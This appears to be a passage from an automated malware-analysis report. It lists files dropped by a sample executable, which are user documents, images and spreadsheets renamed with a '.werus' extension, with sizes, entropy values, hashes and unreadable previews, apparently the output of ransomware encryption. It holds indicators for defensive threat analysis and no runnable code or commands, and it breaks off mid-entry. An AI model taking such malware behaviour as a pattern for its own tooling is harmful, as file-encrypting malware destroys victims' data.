Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\Downloads\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\Downloads\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Downloads\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Downloads\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Downloads\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\Downloads\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\Downloads\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Downloads\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Downloads\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\Downloads\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Downloads\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Downloads\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Downloads\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Downloads\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	7.300678950952361
Encrypted:	false
SSDEEP:	6:TQ6VB292DZUSsxXcfminz1nuf7MvxcfsZLyiAb9:TQ6r292DZFWXqmO5W7WsCLyiG
MD5:	6CCFA3739669FC858B2FE13449CFBA97
SHA1:	41A1725C802F7EF0AE69E9B0F73F890943AB72C6
SHA-256:	F80552801EE53D01E27DEE528254C3814F08A9B8866AE82D9C584CD4E861F34D
SHA-512:	0BB5FB6DF7BBA23A0D2D6668C1868734B7EF188AB4858FE3DDB068DFC291AD4743E374AFA1CACCFC9BA02E2A036E15787AFBBEA1EDCB502BF5AA8A8494843203
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yN.......yFDC.......j...%>r6.k..u....b.@c.....w.+.@.4@.<.....PC..<....C.a`-R4.o}.q2.K........Z..l:eJFtN....v...n...h..W.AnjR

C:\Users\user\Music\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.597255258146209
Encrypted:	false
SSDEEP:	12:TQ6r292DZFWXqmq5U7hVS+11mB0109q4f+OLNZaw+OAYdgge:86C9eZFWaV5Uzn7wxjhZwge
MD5:	C847BFC70658C2E9D227213CE8EE9D13
SHA1:	2E56181ED5CEB8E41A8FEEB6D188C8540E441CD0
